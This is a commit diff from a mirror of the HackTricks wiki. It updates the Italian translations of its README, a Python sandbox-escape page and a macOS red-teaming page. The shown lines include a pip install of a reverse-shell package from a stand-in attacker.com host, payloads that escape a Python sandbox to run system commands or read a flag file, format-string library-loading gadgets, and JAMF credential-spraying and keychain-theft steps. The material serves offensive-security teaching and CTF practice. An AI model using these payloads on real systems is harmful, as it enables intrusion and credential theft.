mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['README.md', 'generic-methodologies-and-resources/python/byp
This commit is contained in:
parent
3ff42585c2
commit
68e922c303
31 changed files with 377 additions and 377 deletions
16
README.md
16
README.md
|
@ -2,10 +2,10 @@
|
|||
|
||||
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_I loghi e il design in movimento di Hacktricks sono di_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
_I loghi e il design in movimento di Hacktricks sono stati creati da_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
{% hint style="success" %}
|
||||
**Benvenuto nella wiki dove troverai ogni trucco/tecnica di hacking/qualunque cosa io abbia imparato da CTF, app della vita reale, lettura di ricerche e notizie.**
|
||||
**Benvenuto nella wiki dove troverai ogni trucco/tecnica/hacking che ho imparato da CTF, applicazioni della vita reale, lettura di ricerche e notizie.**
|
||||
{% endhint %}
|
||||
|
||||
Per iniziare, segui questa pagina dove troverai il **flusso tipico** che **dovresti seguire quando fai pentesting** su una o più **macchine:**
|
||||
|
@ -44,7 +44,7 @@ Puoi controllare il loro **blog** in [**https://blog.stmcyber.com**](https://blo
|
|||
|
||||
**Intigriti** è la **piattaforma di hacking etico e bug bounty numero 1 in Europa.**
|
||||
|
||||
**Suggerimento bug bounty**: **iscriviti** a **Intigriti**, una premium **piattaforma di bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare ricompense fino a **$100,000**!
|
||||
**Suggerimento bug bounty**: **iscriviti** a **Intigriti**, una premium **piattaforma di bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi e inizia a guadagnare ricompense fino a **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -71,7 +71,7 @@ Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmw
|
|||
|
||||
* **Approfondimenti sul hacking:** Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
||||
* **Notizie di hacking in tempo reale:** Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
||||
* **Ultimi annunci:** Rimani informato sulle nuove ricompense bug bounty in arrivo e aggiornamenti cruciali della piattaforma
|
||||
* **Ultimi annunci:** Rimani informato sulle nuove ricompense bug che vengono lanciate e sugli aggiornamenti cruciali della piattaforma
|
||||
|
||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi!
|
||||
|
||||
|
@ -81,7 +81,7 @@ Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmw
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
|
@ -96,10 +96,10 @@ Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmw
|
|||
|
||||
<figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**SerpApi** offre API veloci e facili in tempo reale per **accedere ai risultati dei motori di ricerca**. Raccolgono dati dai motori di ricerca, gestiscono proxy, risolvono captcha e analizzano tutti i dati strutturati ricchi per te.
|
||||
**SerpApi** offre API veloci e facili in tempo reale per **accedere ai risultati dei motori di ricerca**. Scrapeano i motori di ricerca, gestiscono i proxy, risolvono i captcha e analizzano tutti i dati strutturati ricchi per te.
|
||||
|
||||
Un abbonamento a uno dei piani di SerpApi include l'accesso a oltre 50 diverse API per raccogliere dati da diversi motori di ricerca, tra cui Google, Bing, Baidu, Yahoo, Yandex e altri.\
|
||||
A differenza di altri fornitori, **SerpApi non raccoglie solo risultati organici**. Le risposte di SerpApi includono costantemente tutti gli annunci, immagini e video in linea, grafici di conoscenza e altri elementi e funzionalità presenti nei risultati di ricerca.
|
||||
Un abbonamento a uno dei piani di SerpApi include l'accesso a oltre 50 diverse API per scraping di diversi motori di ricerca, tra cui Google, Bing, Baidu, Yahoo, Yandex e altri.\
|
||||
A differenza di altri fornitori, **SerpApi non si limita a fare scraping dei risultati organici**. Le risposte di SerpApi includono costantemente tutti gli annunci, immagini e video inline, grafici di conoscenza e altri elementi e funzionalità presenti nei risultati di ricerca.
|
||||
|
||||
I clienti attuali di SerpApi includono **Apple, Shopify e GrubHub**.\
|
||||
Per ulteriori informazioni, dai un'occhiata al loro [**blog**](https://serpapi.com/blog/)**,** o prova un esempio nel loro [**playground**](https://serpapi.com/playground)**.**\
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -27,7 +27,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
|
||||
Questi sono alcuni trucchi per bypassare le protezioni della sandbox di Python ed eseguire comandi arbitrari.
|
||||
|
||||
## Command Execution Libraries
|
||||
## Librerie di Esecuzione Comandi
|
||||
|
||||
La prima cosa che devi sapere è se puoi eseguire direttamente codice con qualche libreria già importata, o se potresti importare una di queste librerie:
|
||||
```python
|
||||
|
@ -102,7 +102,7 @@ Se hai accesso a `pip` o `pip.main()`, puoi installare un pacchetto arbitrario e
|
|||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Puoi scaricare il pacchetto per creare la reverse shell qui. Si prega di notare che prima di utilizzarlo dovresti **decomprimerlo, modificare il `setup.py` e inserire il tuo IP per la reverse shell**:
|
||||
Puoi scaricare il pacchetto per creare la reverse shell qui. Si prega di notare che prima di utilizzarlo è necessario **decomprimerlo, modificare il `setup.py` e inserire il proprio IP per la reverse shell**:
|
||||
|
||||
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
|
||||
|
||||
|
@ -110,7 +110,7 @@ Puoi scaricare il pacchetto per creare la reverse shell qui. Si prega di notare
|
|||
Questo pacchetto si chiama `Reverse`. Tuttavia, è stato appositamente creato in modo che quando esci dalla reverse shell il resto dell'installazione fallisca, quindi **non lascerai alcun pacchetto python extra installato sul server** quando te ne vai.
|
||||
{% endhint %}
|
||||
|
||||
## Eval-ing python code
|
||||
## Eval-ing codice python
|
||||
|
||||
{% hint style="warning" %}
|
||||
Nota che exec consente stringhe multilinea e ";", ma eval non lo fa (controlla l'operatore walrus)
|
||||
|
@ -173,7 +173,7 @@ return x
|
|||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
È anche possibile bypassarlo utilizzando altre codifiche, ad esempio `raw_unicode_escape` e `unicode_escape`.
|
||||
È anche possibile eluderlo utilizzando altre codifiche, ad esempio `raw_unicode_escape` e `unicode_escape`.
|
||||
|
||||
## Esecuzione di Python senza chiamate
|
||||
|
||||
|
@ -469,7 +469,7 @@ Ad esempio, sapendo che con la libreria **`sys`** è possibile **importare libre
|
|||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
Ci sono molte, e **ne abbiamo solo bisogno di una** per eseguire comandi:
|
||||
Ci sono molti, e **ne abbiamo solo bisogno di uno** per eseguire comandi:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
|
@ -712,7 +712,7 @@ Nota come puoi **accedere agli attributi** in modo normale con un **punto** come
|
|||
|
||||
Nota anche che puoi usare `.__dict__` per enumerare gli elementi di un oggetto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Altre caratteristiche interessanti delle stringhe di formato è la possibilità di **eseguire** le **funzioni** **`str`**, **`repr`** e **`ascii`** nell'oggetto indicato aggiungendo **`!s`**, **`!r`**, **`!a`** rispettivamente:
|
||||
Alcune altre caratteristiche interessanti delle stringhe di formato è la possibilità di **eseguire** le **funzioni** **`str`**, **`repr`** e **`ascii`** nell'oggetto indicato aggiungendo **`!s`**, **`!r`**, **`!a`** rispettivamente:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
|
@ -754,7 +754,7 @@ secret_variable = "clueless"
|
|||
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
|
||||
str(x) # Out: clueless
|
||||
```
|
||||
### Dalla formattazione al caricamento RCE delle librerie
|
||||
### Dalla formattazione al RCE caricamento di librerie
|
||||
|
||||
Secondo il [**TypeMonkey chall di questo writeup**](https://corgi.rip/posts/buckeye-writeups/), è possibile caricare librerie arbitrarie dal disco abusando della vulnerabilità della stringa di formato in python.
|
||||
|
||||
|
@ -791,12 +791,12 @@ Questo gadget consente di **caricare una libreria dal disco**. Pertanto, è nece
|
|||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
La sfida sfrutta in realtà un'altra vulnerabilità nel server che consente di creare file arbitrari nel disco dei server.
|
||||
La sfida sfrutta in realtà un'altra vulnerabilità nel server che consente di creare file arbitrari nel disco del server.
|
||||
|
||||
## Dissezionare gli Oggetti Python
|
||||
|
||||
{% hint style="info" %}
|
||||
Se vuoi **imparare** a conoscere **il bytecode di python** in profondità leggi questo **fantastico** post sull'argomento: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
Se vuoi **imparare** a conoscere **il bytecode di python** in profondità, leggi questo **fantastico** post sull'argomento: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
{% endhint %}
|
||||
|
||||
In alcuni CTF potresti ricevere il nome di una **funzione personalizzata in cui risiede il flag** e devi esaminare gli **interni** della **funzione** per estrarlo.
|
||||
|
@ -947,7 +947,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
|||
## Compilare Python
|
||||
|
||||
Ora, immaginiamo che in qualche modo tu possa **estrarre le informazioni su una funzione che non puoi eseguire** ma che **devi** **eseguire**.\
|
||||
Come nel seguente esempio, tu **puoi accedere all'oggetto codice** di quella funzione, ma leggendo solo il disassemblaggio **non sai come calcolare il flag** (_immagina una funzione `calc_flag` più complessa_)
|
||||
Come nel seguente esempio, tu **puoi accedere all'oggetto codice** di quella funzione, ma leggendo semplicemente il disassemblaggio tu **non sai come calcolare il flag** (_immagina una funzione `calc_flag` più complessa_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -982,7 +982,7 @@ mydict['__builtins__'] = __builtins__
|
|||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
{% hint style="info" %}
|
||||
A seconda della versione di python, i **parametri** di `code_type` potrebbero avere un **ordine diverso**. Il modo migliore per conoscere l'ordine dei parametri nella versione di python che stai eseguendo è eseguire:
|
||||
A seconda della versione di python, i **parametri** di `code_type` possono avere un **ordine diverso**. Il modo migliore per conoscere l'ordine dei parametri nella versione di python che stai eseguendo è eseguire:
|
||||
```
|
||||
import types
|
||||
types.CodeType.__doc__
|
||||
|
@ -1007,10 +1007,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||
```
|
||||
### Bypass Defenses
|
||||
|
||||
Negli esempi precedenti all'inizio di questo post, puoi vedere **come eseguire qualsiasi codice python utilizzando la funzione `compile`**. Questo è interessante perché puoi **eseguire interi script** con cicli e tutto in un **one liner** (e potremmo fare lo stesso usando **`exec`**).\
|
||||
In previous examples at the beginning of this post, you can see **come eseguire qualsiasi codice python utilizzando la funzione `compile`**. This is interesting because you can **eseguire interi script** con cicli e tutto in un **un'unica riga** (e potremmo fare lo stesso usando **`exec`**).\
|
||||
Comunque, a volte potrebbe essere utile **creare** un **oggetto compilato** su una macchina locale ed eseguirlo nella **macchina CTF** (ad esempio perché non abbiamo la funzione `compiled` nel CTF).
|
||||
|
||||
Per esempio, compiliamo ed eseguiamo manualmente una funzione che legge _./poc.py_:
|
||||
For example, let's compile and execute manually a function that reads _./poc.py_:
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
|
@ -1059,7 +1059,7 @@ Utilizzando strumenti come [**https://www.decompiler.com/**](https://www.decompi
|
|||
|
||||
### Assert
|
||||
|
||||
Python eseguito con ottimizzazioni con il parametro `-O` rimuoverà le dichiarazioni di assert e qualsiasi codice condizionale sul valore di **debug**.\
|
||||
Python eseguito con ottimizzazioni con il parametro `-O` rimuoverà le dichiarazioni di asserzione e qualsiasi codice condizionale sul valore di **debug**.\
|
||||
Pertanto, controlli come
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
|
@ -1069,7 +1069,7 @@ print("\nYou are a super user\n")
|
|||
except AssertionError:
|
||||
print(f"\nNot a Super User!!!\n")
|
||||
```
|
||||
will be bypassed
|
||||
sarà eluso
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
@ -1082,15 +1082,15 @@ will be bypassed
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -1098,7 +1098,7 @@ Impara e pratica GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,12 +1,12 @@
|
|||
# macOS Red Teaming
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supporta HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -17,9 +17,9 @@ Impara e pratica GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -44,7 +44,7 @@ Per eseguire il tuo MDM devi **far firmare il tuo CSR da un fornitore** che potr
|
|||
|
||||
Tuttavia, per installare un'applicazione in un dispositivo registrato, hai ancora bisogno che sia firmata da un account sviluppatore... tuttavia, al momento della registrazione MDM, il **dispositivo aggiunge il certificato SSL dell'MDM come CA fidata**, quindi ora puoi firmare qualsiasi cosa.
|
||||
|
||||
Per registrare il dispositivo in un MDM, devi installare un **file `mobileconfig`** come root, che potrebbe essere consegnato tramite un **file pkg** (puoi comprimerlo in zip e quando scaricato da safari verrà decompresso).
|
||||
Per registrare il dispositivo in un MDM, devi installare un file **`mobileconfig`** come root, che potrebbe essere consegnato tramite un file **pkg** (puoi comprimerlo in zip e quando viene scaricato da safari verrà decompresso).
|
||||
|
||||
**L'agente Mythic Orthrus** utilizza questa tecnica.
|
||||
|
||||
|
@ -54,11 +54,11 @@ JAMF può eseguire **script personalizzati** (script sviluppati dall'amministrat
|
|||
|
||||
#### Auto-registrazione JAMF
|
||||
|
||||
Vai su una pagina come `https://<company-name>.jamfcloud.com/enroll/` per vedere se hanno **abilitata l'auto-registrazione**. Se ce l'hanno, potrebbe **richiedere credenziali per accedere**.
|
||||
Vai a una pagina come `https://<company-name>.jamfcloud.com/enroll/` per vedere se hanno **l'auto-registrazione abilitata**. Se ce l'hanno, potrebbe **richiedere credenziali per accedere**.
|
||||
|
||||
Potresti usare lo script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) per eseguire un attacco di password spraying.
|
||||
|
||||
Inoltre, dopo aver trovato le credenziali corrette, potresti essere in grado di forzare altri nomi utente con il seguente modulo:
|
||||
Inoltre, dopo aver trovato le credenziali corrette, potresti essere in grado di forzare altri nomi utente con il modulo successivo:
|
||||
|
||||
![](<../../.gitbook/assets/image (107).png>)
|
||||
|
||||
|
@ -100,16 +100,16 @@ sudo jamf policy -id 0
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Impersonificazione di JAMF
|
||||
#### JAMF Impersonation
|
||||
|
||||
Per **impersonare la comunicazione** tra un dispositivo e JMF hai bisogno di:
|
||||
|
||||
* Il **UUID** del dispositivo: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
* Il **keychain di JAMF** da: `/Library/Application\ Support/Jamf/JAMF.keychain` che contiene il certificato del dispositivo
|
||||
* Il **keychain JAMF** da: `/Library/Application\ Support/Jamf/JAMF.keychain` che contiene il certificato del dispositivo
|
||||
|
||||
Con queste informazioni, **crea una VM** con il **UUID** Hardware **rubato** e con **SIP disabilitato**, inserisci il **keychain di JAMF,** **collega** l'**agente** Jamf e ruba le sue informazioni.
|
||||
Con queste informazioni, **crea una VM** con il **UUID** Hardware **rubato** e con **SIP disabilitato**, inserisci il **keychain JAMF,** **hook** l'agente Jamf e ruba le sue informazioni.
|
||||
|
||||
#### Furto di segreti
|
||||
#### Secrets stealing
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||
|
||||
|
@ -119,9 +119,9 @@ Tuttavia, le **credenziali** potrebbero essere passate a questi script come **pa
|
|||
|
||||
Lo script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) può ascoltare nuovi file aggiunti e nuovi argomenti di processo.
|
||||
|
||||
### Accesso remoto a macOS
|
||||
### macOS Remote Access
|
||||
|
||||
E anche riguardo ai **protocollo** **di rete** "speciali" di **MacOS**:
|
||||
E anche riguardo ai **protocollo** **di rete** "speciali" **MacOS**:
|
||||
|
||||
{% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %}
|
||||
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
|
||||
|
@ -143,7 +143,7 @@ In alcune occasioni scoprirai che il **computer MacOS è connesso a un AD**. In
|
|||
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Alcuni **strumenti locali di MacOS** che potrebbero anche aiutarti sono `dscl`:
|
||||
Alcuni **strumenti locali MacOS** che potrebbero anche aiutarti sono `dscl`:
|
||||
```bash
|
||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||
```
|
||||
|
@ -151,7 +151,7 @@ Also there are some tools prepared for MacOS to automatically enumerate the AD a
|
|||
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound è un'estensione dello strumento di auditing Bloodhound che consente di raccogliere e ingerire le relazioni di Active Directory su host MacOS.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost è un progetto Objective-C progettato per interagire con le API Heimdal krb5 su macOS. L'obiettivo del progetto è abilitare test di sicurezza migliori attorno a Kerberos sui dispositivi macOS utilizzando API native senza richiedere alcun altro framework o pacchetti sul target.
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard): Strumento JavaScript for Automation (JXA) per fare enumerazione di Active Directory.
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard): Strumento JavaScript for Automation (JXA) per eseguire l'enumerazione di Active Directory.
|
||||
|
||||
### Domain Information
|
||||
```bash
|
||||
|
@ -170,9 +170,9 @@ Ad esempio, le informazioni sull'utente chiamato _mark_ sono memorizzate in _/va
|
|||
|
||||
Oltre a utilizzare i bordi HasSession e AdminTo, **MacHound aggiunge tre nuovi bordi** al database Bloodhound:
|
||||
|
||||
* **CanSSH** - entità autorizzata a SSH verso l'host
|
||||
* **CanVNC** - entità autorizzata a VNC verso l'host
|
||||
* **CanAE** - entità autorizzata a eseguire script AppleEvent sull'host
|
||||
* **CanSSH** - entità autorizzata a SSH al host
|
||||
* **CanVNC** - entità autorizzata a VNC al host
|
||||
* **CanAE** - entità autorizzata a eseguire script AppleEvent sul host
|
||||
```bash
|
||||
#User enumeration
|
||||
dscl . ls /Users
|
||||
|
@ -257,7 +257,7 @@ Quando un file viene scaricato in Safari, se è un file "sicuro", verrà **apert
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
|
|
|
@ -17,19 +17,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
